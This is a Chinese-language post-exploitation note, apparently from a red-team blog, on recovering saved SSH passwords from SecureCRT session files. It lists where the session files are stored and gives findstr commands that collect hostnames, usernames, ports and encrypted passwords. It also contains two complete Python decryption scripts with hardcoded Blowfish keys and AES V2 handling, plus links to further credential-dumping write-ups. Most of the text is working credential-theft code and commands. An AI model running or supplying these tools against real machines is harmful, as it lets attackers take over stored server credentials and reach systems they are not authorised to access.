保存位置如下,绿色版本的话在下载的文件夹中

版本 路径
全版本通用 %APPDATA%\VanDyke\Config\Sessions

小于7.X版本

*.ini文件拉取下来直接使用脚本解密,这个版本没有测试过

#!/usr/bin/env python
#

# Decrypt SSHv2 passwords stored in VanDyke SecureCRT session files
# Can be found on Windows in:
# %APPDATA%\VanDyke\Config\Sessions\sessionname.ini
# Tested with version 7.2.6 (build 606) for Windows
# Eloi Vanderbeken - Synacktiv
# Decrypt SSHv2 passwords stored in VanDyke SecureCRT

# C:\>python SecureCRT-decryptpass.py -h
# usage: SecureCRT-decryptpass.py [-h] files [files ...]
#
#Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files
#
#positional arguments:
# files session file(s)
#
#optional arguments:
# -h, --help show this help message and exit
#
# C:\>python SecureCRT-decryptpass.py C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
# C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
# ssh -p 22 user@192.168.0.1 # 123456


from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
p = ''
while padded[:2] != '\x00\x00' :
p += padded[:2]
padded = padded[2:]
return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
m = REGEX_HOSTNAME.search(x)
if m :
return m.group(1)
return '???'

def password(x) :
m = REGEX_PASWORD.search(x)
if m :
return decrypt(m.group(1))
return '???'

def port(x) :
m = REGEX_PORT.search(x)
if m :
return '-p %d '%(int(m.group(1), 16))
return ''

def username(x) :
m = REGEX_USERNAME.search(x)
if m :
return m.group(1) + '@'
return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
help='session file(s)')

args = parser.parse_args()

for f in args.files :
c = f.read().replace('\x00', '')
print f.name
print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

7.X版本

进入目录提取文件中的连接IP、端口、账号、hash

findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password\"=" /c:"\"[SSH2] Port\"=" *.ini

image-20210611152808283

然后使用脚本进行解密

#注意去除hash的第一位 "u"
python3 SecureCRT.py dec hash

image-20210611153105145

解密脚本

#!/usr/bin/env python3
import os
from Crypto.Hash import SHA256
from Crypto.Cipher import AES, Blowfish

class SecureCRTCrypto:

def __init__(self):
'''
Initialize SecureCRTCrypto object.
'''
self.IV = b'\x00' * Blowfish.block_size
self.Key1 = b'\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07'
self.Key2 = b'\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7'

def Encrypt(self, Plaintext : str):
'''
Encrypt plaintext and return corresponding ciphertext.

Args:
Plaintext: A string that will be encrypted.

Returns:
Hexlified ciphertext string.
'''
plain_bytes = Plaintext.encode('utf-16-le')
plain_bytes += b'\x00\x00'
padded_plain_bytes = plain_bytes + os.urandom(Blowfish.block_size - len(plain_bytes) % Blowfish.block_size)

cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
return cipher1.encrypt(os.urandom(4) + cipher2.encrypt(padded_plain_bytes) + os.urandom(4)).hex()

def Decrypt(self, Ciphertext : str):
'''
Decrypt ciphertext and return corresponding plaintext.

Args:
Ciphertext: A hex string that will be decrypted.

Returns:
Plaintext string.
'''

cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
ciphered_bytes = bytes.fromhex(Ciphertext)
if len(ciphered_bytes) <= 8:
raise ValueError('Invalid Ciphertext.')

padded_plain_bytes = cipher2.decrypt(cipher1.decrypt(ciphered_bytes)[4:-4])

i = 0
for i in range(0, len(padded_plain_bytes), 2):
if padded_plain_bytes[i] == 0 and padded_plain_bytes[i + 1] == 0:
break
plain_bytes = padded_plain_bytes[0:i]

try:
return plain_bytes.decode('utf-16-le')
except UnicodeDecodeError:
raise(ValueError('Invalid Ciphertext.'))

class SecureCRTCryptoV2:

def __init__(self, ConfigPassphrase : str = ''):
'''
Initialize SecureCRTCryptoV2 object.

Args:
ConfigPassphrase: The config passphrase that SecureCRT uses. Leave it empty if config passphrase is not set.
'''
self.IV = b'\x00' * AES.block_size
self.Key = SHA256.new(ConfigPassphrase.encode('utf-8')).digest()

def Encrypt(self, Plaintext : str):
'''
Encrypt plaintext and return corresponding ciphertext.

Args:
Plaintext: A string that will be encrypted.

Returns:
Hexlified ciphertext string.
'''
plain_bytes = Plaintext.encode('utf-8')
if len(plain_bytes) > 0xffffffff:
raise OverflowError('Plaintext is too long.')

plain_bytes = \
len(plain_bytes).to_bytes(4, 'little') + \
plain_bytes + \
SHA256.new(plain_bytes).digest()
padded_plain_bytes = \
plain_bytes + \
os.urandom(AES.block_size - len(plain_bytes) % AES.block_size)
cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
return cipher.encrypt(padded_plain_bytes).hex()

def Decrypt(self, Ciphertext : str):
'''
Decrypt ciphertext and return corresponding plaintext.

Args:
Ciphertext: A hex string that will be decrypted.

Returns:
Plaintext string.
'''
cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
padded_plain_bytes = cipher.decrypt(bytes.fromhex(Ciphertext))

plain_bytes_length = int.from_bytes(padded_plain_bytes[0:4], 'little')
plain_bytes = padded_plain_bytes[4:4 + plain_bytes_length]
if len(plain_bytes) != plain_bytes_length:
raise ValueError('Invalid Ciphertext.')

plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length:4 + plain_bytes_length + SHA256.digest_size]
if len(plain_bytes_digest) != SHA256.digest_size:
raise ValueError('Invalid Ciphertext.')

if SHA256.new(plain_bytes).digest() != plain_bytes_digest:
raise ValueError('Invalid Ciphertext.')

return plain_bytes.decode('utf-8')

if __name__ == '__main__':
import sys

def Help():
print('Usage:')
print(' SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>')
print('')
print(' <enc|dec> "enc" for encryption, "dec" for decryption.')
print(' This parameter must be specified.')
print('')
print(' [-v2] Encrypt/Decrypt with "Password V2" algorithm.')
print(' This parameter is optional.')
print('')
print(' [-p ConfigPassphrase] The config passphrase that SecureCRT uses.')
print(' This parameter is optional.')
print('')
print(' <plaintext|ciphertext> Plaintext string or ciphertext string.')
print(' NOTICE: Ciphertext string must be a hex string.')
print(' This parameter must be specified.')
print('')

def EncryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Plaintext : str):
try:
if UseV2:
print(SecureCRTCryptoV2(ConfigPassphrase).Encrypt(Plaintext))
else:
print(SecureCRTCrypto().Encrypt(Plaintext))
return True
except:
print('Error: Failed to encrypt.')
return False

def DecryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Ciphertext : str):
try:
if UseV2:
print(SecureCRTCryptoV2(ConfigPassphrase).Decrypt(Ciphertext))
else:
print(SecureCRTCrypto().Decrypt(Ciphertext))
return True
except:
print('Error: Failed to decrypt.')
return False

def Main(argc : int, argv : list):
if 3 <= argc and argc <= 6:
bUseV2 = False
ConfigPassphrase = ''

if argv[1].lower() == 'enc':
bEncrypt = True
elif argv[1].lower() == 'dec':
bEncrypt = False
else:
Help()
return -1

i = 2
while i < argc - 1:
if argv[i].lower() == '-v2':
bUseV2 = True
i += 1
elif argv[i].lower() == '-p' and i + 1 < argc - 1:
ConfigPassphrase = argv[i + 1]
i += 2
else:
Help()
return -1

if bUseV2 == False and len(ConfigPassphrase) != 0:
print('Error: ConfigPassphrase is not supported if "-v2" is not specified')
return -1

if bEncrypt:
return 0 if EncryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
else:
return 0 if DecryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
else:
Help()

exit(Main(len(sys.argv), sys.argv))

8.X版本

进入目录提取文件中的连接IP、端口、账号、hash

findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini

image-20210611163435588

然后使用上面脚本解密

#注意去除hash的前面三位 "02:"
python3 SecureCRT.py dec -v2 hash

image-20210611163621590

参考文章

http://redteam.today/2019/12/09/%E4%BD%BF%E7%94%A8mimikatz%E5%AF%BC%E5%87%BAchrome%E5%AF%86%E7%A0%81/
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81
https://github.com/tianhe1986/FatSmallTools
https://github.com/kinnisoy/GetChromePassword
https://github.com/dzxs/Xdecrypt
https://rcoil.me/2019/09/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91SharpDecryptPwd/
https://www.cnblogs.com/Yang34/p/14237114.html